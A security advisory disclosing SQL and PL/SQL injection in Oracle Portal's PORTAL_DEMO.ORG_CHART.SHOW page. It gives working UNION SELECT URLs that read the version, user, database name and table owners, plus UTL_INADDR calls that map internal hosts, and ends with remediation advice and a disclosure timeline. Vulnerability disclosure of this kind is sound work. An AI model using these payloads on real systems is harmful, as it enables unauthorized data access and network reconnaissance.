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INTERNET SECURITY AUDITORS ALERT 2012-001
PL/SQL Injection in Oracle Portal Demo Organization Chart
Web Organization Chart (Ora Version) is used to connect to the Oracle
database. Ora version of "Web Organization Chart" selects information
from the Oracle
(HR) tables and converts it into a format that is readable for the
Orgchart software.
This bug was found using the demo portal PORTAL_DEMO.ORG_CHART.SHOW. To
exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to
interact with the application. It is possible to inject SQL code in the
variable "p_arg_values".
*** SQL Injection***
Version:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union
+select+banner,null,null,null,null+from+v$version–
User:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union
+select+user,null,null,null,null+from+dual–
Actual Database:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union
+select+global_name,null,null,null,null+from+global_name–
Lists of Databases:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union
+select+owner,null,null,null,null+from+all_tables–
*** PL/SQL Injection***
For example, using the function UTL_INADDR.get_host_address we can found
the internal address:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union
+select+UTL_INADDR.get_host_address,null,null,null,null+from+dual–
Using a bruteforce attack on the range obtained and the function
UTL_INADDR.get_host_name(), we can acquire a list of internal hosts:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value
%27union+select+UTL_INADDR.get_host_name('INTERNALs-IP'),null,null,null,null+from+dual–
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete
compromise of these client systems is also possible.
Demo Page of Oracle Portal Demo Organization Chart.
All data received by the application and can be modified by the user,
before making any kind of transaction with them must be validated.
http://www.oracle.com
http://www.isecauditors.com
This vulnerability has been discovered by Manuel Garcia Cardenas
(mgarcia (at) isecauditors (dot) com).
December 02, 2012: Initial release to Oracle.
February 20, 2013: Last revision
October 25, 2012: The vulnerability is discovered.
December 2, 2012: Initial release to Oracle.
February 20, 2013: Vulnerability already corrected but will
not be included in CPUs. Credits in CPUApr2013.
October 11, 2013: The following issue reported is fixed in
the upcoming Critical Patch Update
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